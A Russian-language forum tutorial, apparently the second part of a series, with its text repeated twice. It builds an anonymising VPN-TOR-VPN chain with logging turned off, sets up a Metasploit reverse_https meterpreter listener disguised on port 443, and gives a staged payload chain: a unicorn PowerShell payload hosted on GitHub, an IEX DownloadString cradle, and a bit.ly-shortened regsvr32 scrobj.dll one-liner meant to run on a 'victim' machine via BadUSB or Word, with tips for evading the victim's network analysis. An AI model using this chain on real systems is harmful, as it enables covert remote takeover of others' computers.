English version of the article: Anonymous pentest VPN - TOR - VPN {Part II}
И снова здравствуйте! В прошлой статье мы разбирали создание цепочки VPN - TOR - VPN. Сегодня подготовим SRV2 к проведению тестов на проникновение и испытаем в боевых условиях.
В первой части я забыл упомянуть, SRV1 и SRV2 желательно создать в двух разный регионах, например: один во Франкфурте другой в Лондоне.
Первым делом сменим порты SSH и OpenVPN на нестандартные
Подключаемся к SRV1 по ssh
Перед тем как менять порты, сначала их нужно разрешить. К примеру SSH сменим на 4910, а OpenVPN на 4911
И теперь меняем порты.
Перезагружаем сервисы и удаляем старые порты из разрешенных.
Меняем порты на SRV2
Желательно использовать разные порты на SRV1 и SRV2. На втором сервере, SSH будет 2375, OpenVPN - 2376.
Конектимся к SRV2.
И таким же образом меняем порты. SSH = 2375, OpenVPN = 2376.
Сначала перезагружаем именно SSH, не то потеряете доступ.
Возращаемся на SRV1
Правим клиентский файл подключения к VPN SRV2.
OpenVPN Client restarting
Отключаем логирование VPN
В первой части я специально оставил логи, они необходимы для отладки в случае проблем. Но когда мы все правильно настроили, выключим их.
OpenVPN Client
Тоже самое на SRV2
Создание клиентского файла конфигурации для подключений к VPN SRV1
Для связи с SRV2 нам вполне хватает ssh. Но для большего комфорта и пропуска всего трафика через цепочку VPN - TOR -VPN, настроим наше подключение к VPN SRV1. Не зря же мы ее делали.
Конектимся к SRV1, в файле /home/openvpn-ca/client-configs/base.conf меняем порт на ренее нами измененный в /etc/openvpn/server.conf (VPN SRV1 - 4911/udp)
Если вы хотите использовать один сертификат на нескольких устройств одновременно, в SRV1 /etc/openvpn/server.conf раскомментируйте директиву:
Готовим клиент конфиг файл к экспорту
Копируем к себе на локальную машину (Kali Linux) и запускаем VPN.
Ну все, теперь у нас весь трафик идет через нашу цепочку VPN - TOR - VPN!
Добавим информацию об SRV2 в ~/.ssh/config | HostName должен быть именно 10.8.1.1, ни в коем случае не пишите сюда публичный IP второго сервера.
Теперь просто введя ssh vpnsrv2 на локальной машине, попадаем на SRV2 через нашу анонимную цепочку.
Готовимся к атаке
Идем на SRV2, и ставим Metasploit Framework.
Инициализция Metasploit PostgreSQL Database
Если metasploit запускать от обычного юзера, он не сможет слушать порты. Поэтому мы добавили зеркало .msf4 в домашний каталог root-а. Команда для запуска sudo msfconsole.
Но как известно, программа запущенная в ssh закрывается как только мы выходим из консоли. Нам же требуется чтобы наш сервер был всегда готов 24 часа в сутки принять к себе гостей с их же пряником, как говорил DarkNode
Для осуществления сего, нам нужна утилита "screen"
Запускаем msfconsole в screen.
Поднимем листенер который будет принимать на себя reverse shell. Но перед этим надо указать фаерволу чтобы он пропускал порт котрый мы будем слушать.
Мы будем принимать шелл на 443 (https) порт, чтобы не бросаться в глаза нашей "жертве".
Отправляем msfconsole в фон (Ctrl+A затем D) и возвращаемся в Kali Linux.
Модульная доставка полезной нагрузки - Web Delivery
Техника не новая, я узнал про нее от DarkNode этих статьях(одна, вторая). Она мне очень полюбилась и с тех пор пользуюсь только ею, но чуть по другому. Именно это и будем сегодня рассматривать. Самое интересное по приведенной выше схеме - это то что мы можем в любую минуту сменить полезную нагрузку на зараженной машине. Достаточно изменить Stage3 и все меняется. Так же мы можем на время оставить жертву в покое (очистите и оставьте Stage 1 пустым) даже при анализе сети WireShark-ом жертва ничего не найдет. А на второй день обратно верние Stage 1 и снова ловите reverse shell! Также изменив Destination IP в Stage 3 легко передать полученные сессии своему коллеге для совместной работы
. Думаю очень перспективный вариант.
Качаем unicorn от trustedse, для генерации полезной нагрузки
Генерируем
Переименовываем powershell_attack.txt в stage3 и заливаем на github (Естественно создаем новый акк через нашу цепочку)
Далее создаем stage2
Нам понадобятся скрипты DarkNode.
base64_convert ссылка
и XML скрипт для regsvr32
Почему то я смог вылжит его здесь, codeby ругается на ошибки. Поэтому залил на gitgub.
Запускаем ./base64_convert.py
Аргументы для конвертирования следующие:
Полученную команду вставляем в XML скрипт приведенный выше и сохраняем под названием stage2
Это тоже загружаем на github.
В итоге получается ссылка на stage2 - "" если сократить ее на bit.ly будет на много удобней.
Вот и stage 1 - команда для запуска на компьютере жертвы. (Сделать это вариантов куча: BadUSB, HTA, Word, втсроить в приложение и т.д, )
Для наглядности с укороченным url, она приобретает следующий вид. Всего 50 символов, способны заразить компьютер.))))
Идем на SRV2 и смотрим принял ли наш сервер reverse shell.
И видим что все сработало на ура! Так же мы можем управяеть ею с телефона. Скопируйте ssh ключ от SRV1 на свой тел. или установите OpenVPN и дерзайте. В видео еще покажу проброску полученней сессии на локалку. Всем спасибо за внимание, я пойду на бок завтра раано вставать)))).
И снова здравствуйте! В прошлой статье мы разбирали создание цепочки VPN - TOR - VPN. Сегодня подготовим SRV2 к проведению тестов на проникновение и испытаем в боевых условиях.
В первой части я забыл упомянуть, SRV1 и SRV2 желательно создать в двух разный регионах, например: один во Франкфурте другой в Лондоне.
Первым делом сменим порты SSH и OpenVPN на нестандартные
Подключаемся к SRV1 по ssh
Перед тем как менять порты, сначала их нужно разрешить. К примеру SSH сменим на 4910, а OpenVPN на 4911
И теперь меняем порты.
sudo vi /etc/ssh/sshd_config
sudo vi /etc/openvpn/server.conf
Перезагружаем сервисы и удаляем старые порты из разрешенных.
Меняем порты на SRV2
Желательно использовать разные порты на SRV1 и SRV2. На втором сервере, SSH будет 2375, OpenVPN - 2376.
Конектимся к SRV2.
sudo ufw allow 2375
sudo ufw allow 2376
sudo vi /etc/openvpn/server.conf
sudo vi /etc/ssh/sshd_config
Сначала перезагружаем именно SSH, не то потеряете доступ.
После рестарта openvpn@server связь оборвется. Закрываем окно и переходим к след. пункту.sudo systemctl restart ssh
sudo systemctl restart openvpn@server
Возращаемся на SRV1
Правим клиентский файл подключения к VPN SRV2.
sudo vi /etc/openvpn/client.conf
OpenVPN Client restarting
Связь с SRV2 снова восстановлена!sudo systemctl restart openvpn@client
Отключаем логирование VPN
В первой части я специально оставил логи, они необходимы для отладки в случае проблем. Но когда мы все правильно настроили, выключим их.
Комментируем следующую директивуssh vpnsrv1
sudo vi /etc/openvpn/server.conf
verb 3 меняем на verb 0;status openvpn-status.log
verb 0
OpenVPN Client
sudo vi /etc/openvpn/client.conf
verb 0
sudo systemctl restart openvpn@client
sudo systemctl restart openvpn@server
Тоже самое на SRV2
Создание клиентского файла конфигурации для подключений к VPN SRV1
Для связи с SRV2 нам вполне хватает ssh. Но для большего комфорта и пропуска всего трафика через цепочку VPN - TOR -VPN, настроим наше подключение к VPN SRV1. Не зря же мы ее делали.
Конектимся к SRV1, в файле /home/openvpn-ca/client-configs/base.conf меняем порт на ренее нами измененный в /etc/openvpn/server.conf (VPN SRV1 - 4911/udp)
remote IP_address_of_SRV1 4911
Если вы хотите использовать один сертификат на нескольких устройств одновременно, в SRV1 /etc/openvpn/server.conf раскомментируйте директиву:
;duplicate-cn
Готовим клиент конфиг файл к экспорту
Копируем к себе на локальную машину (Kali Linux) и запускаем VPN.
Ну все, теперь у нас весь трафик идет через нашу цепочку VPN - TOR - VPN!
Добавим информацию об SRV2 в ~/.ssh/config | HostName должен быть именно 10.8.1.1, ни в коем случае не пишите сюда публичный IP второго сервера.
Теперь просто введя ssh vpnsrv2 на локальной машине, попадаем на SRV2 через нашу анонимную цепочку.
Готовимся к атаке
Идем на SRV2, и ставим Metasploit Framework.
Bash:
sudo echo 'deb http://downloads.metasploit.com/data/releases/metasploit-framework/apt jessie main' | sudo tee /etc/apt/sources.list.d/metasploit-framework.list
sudo wget -qO - http://apt.metasploit.com/metasploit-framework.gpg.key | sudo apt-key add -
sudo apt update && sudo apt dist-upgrade
sudo apt install metasploit-framework postgresql -y
Инициализция Metasploit PostgreSQL Database
Bash:
sudo systemctl start postgresql
msfdb init
sudo ln -s /home/admin/.msf4/ /root/
Если metasploit запускать от обычного юзера, он не сможет слушать порты. Поэтому мы добавили зеркало .msf4 в домашний каталог root-а. Команда для запуска sudo msfconsole.
Но как известно, программа запущенная в ssh закрывается как только мы выходим из консоли. Нам же требуется чтобы наш сервер был всегда готов 24 часа в сутки принять к себе гостей с их же пряником, как говорил DarkNode

Для осуществления сего, нам нужна утилита "screen"
Bash:
sudo apt install screen
Запускаем msfconsole в screen.
Bash:
screen -S msf sudo msfconsole
-S msf = задает имя сессии
sudo msfconsole = сама команда выполняемая в screen
#Чтобы отправить сессию в фон
Ctrl+A потом D
#Список фоновый сессий
screen -list
#Обратно берем сесию
screen -r msf
#msf = имя сессии
sudo msfconsole = сама команда выполняемая в screen
#Чтобы отправить сессию в фон
Ctrl+A потом D
#Список фоновый сессий
screen -list
#Обратно берем сесию
screen -r msf
#msf = имя сессии
Поднимем листенер который будет принимать на себя reverse shell. Но перед этим надо указать фаерволу чтобы он пропускал порт котрый мы будем слушать.
Мы будем принимать шелл на 443 (https) порт, чтобы не бросаться в глаза нашей "жертве".
sudo ufw allow 443
sudo ufw allow 8443
screen -S msf sudo msfconsole
use multi/handler
set payload windows/meterpreter/reverse_https
set LPORT 443
curl ident.me; echo
set LHOST IP_address_of_SRV2
set ExitOnSession false
set EnableStageEncoding true
exploit -j
Отправляем msfconsole в фон (Ctrl+A затем D) и возвращаемся в Kali Linux.
Модульная доставка полезной нагрузки - Web Delivery
Техника не новая, я узнал про нее от DarkNode этих статьях(одна, вторая). Она мне очень полюбилась и с тех пор пользуюсь только ею, но чуть по другому. Именно это и будем сегодня рассматривать. Самое интересное по приведенной выше схеме - это то что мы можем в любую минуту сменить полезную нагрузку на зараженной машине. Достаточно изменить Stage3 и все меняется. Так же мы можем на время оставить жертву в покое (очистите и оставьте Stage 1 пустым) даже при анализе сети WireShark-ом жертва ничего не найдет. А на второй день обратно верние Stage 1 и снова ловите reverse shell! Также изменив Destination IP в Stage 3 легко передать полученные сессии своему коллеге для совместной работы

Качаем unicorn от trustedse, для генерации полезной нагрузки
Код:
git clone https://github.com/trustedsec/unicorn.git
Переименовываем powershell_attack.txt в stage3 и заливаем на github (Естественно создаем новый акк через нашу цепочку)
Далее создаем stage2
Нам понадобятся скрипты DarkNode.
base64_convert ссылка
и XML скрипт для regsvr32
Почему то я смог вылжит его здесь, codeby ругается на ошибки. Поэтому залил на gitgub.
Запускаем ./base64_convert.py
Аргументы для конвертирования следующие:
IEX(New-Object Net.WebClient).DownloadString('
В последних скобках, raw адрес до вашего файла stage3 который вы залили на github
Полученную команду вставляем в XML скрипт приведенный выше и сохраняем под названием stage2
Это тоже загружаем на github.
В итоге получается ссылка на stage2 - "" если сократить ее на bit.ly будет на много удобней.
Вот и stage 1 - команда для запуска на компьютере жертвы. (Сделать это вариантов куча: BadUSB, HTA, Word, втсроить в приложение и т.д, )
Код:
regsvr32 -s -n -u -i:https://raw.githubusercontent.com/XXXXXX/XXX/master/stage2 scrobj.dll
Для наглядности с укороченным url, она приобретает следующий вид. Всего 50 символов, способны заразить компьютер.))))
Код:
regsvr32 -s -n -u -i:http://bit.ly/XXXXX scrobj.dll
Идем на SRV2 и смотрим принял ли наш сервер reverse shell.
ssh vpnsrv2
screen -r msf
И видим что все сработало на ура! Так же мы можем управяеть ею с телефона. Скопируйте ssh ключ от SRV1 на свой тел. или установите OpenVPN и дерзайте. В видео еще покажу проброску полученней сессии на локалку. Всем спасибо за внимание, я пойду на бок завтра раано вставать)))).
Вложения
Последнее редактирование модератором: